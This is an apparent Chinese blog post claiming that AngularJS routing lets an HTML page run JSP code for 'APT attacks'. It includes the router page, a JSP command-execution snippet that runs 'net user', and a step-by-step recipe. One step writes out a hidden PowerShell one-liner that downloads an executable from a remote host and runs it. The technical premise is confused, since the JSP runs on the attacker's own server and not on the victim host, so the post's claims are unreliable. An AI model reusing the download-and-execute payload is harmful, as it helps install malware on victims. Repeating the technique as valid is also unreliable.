传统的html页面机制,由于在默认情况下禁用脚本(例如activeX),或者具有同源策略的功能,同时由于微软对html开发做了很多限制,因此很难在HTML页面上执行相关的动态语言(例如php或者jsp等),使得很难在一定程度下通过受害者主机访问html页面,进而实现APT攻击。
然而最近我偶然在一次对angularjs的实验中得知,通过angularjs的路由可以实现HTML页面动态加载其他的动态语言(php,jsp等)并将该动态语言界面输出的结果显示在前台,例如使用下面的代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>AngularJS</title>
<script src="angular.js"></script>
<script src="router.js"></script>
<script type="text/javascript">
angular.module('ngRouteExample', ['ngRoute'])
.controller('HomeController', function ($scope, $route) { $scope.$route = $route;})
.controller('AboutController', function ($scope, $route) { $scope.$route = $route;})
.config(function ($routeProvider) {
$routeProvider.
when('/home', {
templateUrl: 'aaa/a.jsp',
controller: 'HomeController'
}).
otherwise({
redirectTo: '/home'
});
});
</script>
</head>
<body ng-app="ngRouteExample" class="ng-scope">
<script type="text/ng-template" id="a.jsp">
<h1> Home </h1>
</script>
<div>
<div id="navigation">
<a href="#!/home">Home</a>
</div>
<div ng-view="">
</div>
</div>
</body>
</html>
a.jsp的代码如下:
<%@ page import="java.io.*" %>
<%
response.setHeader("Access-Control-Allow-Origin", "*");
response.setHeader("Access-Control-Allow-Methods","GET");
response.setHeader("Access-Control-Allow-Methods","POST");
response.setHeader("Access-Control-Allow-Headers","x-requested-with,content-type");
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec("net user");
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
可以看到通过angularjs的路由功能,成功实现HTML的命令执行,可以在前端的html页面上输出当前计算机前的用户。因此利用该特性,可以通过该种方式构造指定的HTML界面实现APT攻击。例如通过加载jsp代码实现APT攻击,相关的方法如下:
1. 启动tomcat服务器
2. 在tomcat服务器下部署带有angularjs路由的HTML页面
3. 编写jsp代码,通过Runtime.getRuntime().exec("1.bat")调用powershell下载并执行APT木马,将powershell代码存入1.bat,1.bat中的powershell代码如下:
powershell -WindowStyle Hidden -nop -c (New-Object System.Net.WebClient).DownloadFile('http://ip/a'p't.exe','c:\c.exe');(New-Object -com Shell.Application).ShellExecute('c:\c.exe');
4. 最后使用受害者主机访问该HTML页面,攻击端主机成功完成APT攻击。
相关视频演示:
2022-07-24-21-46-46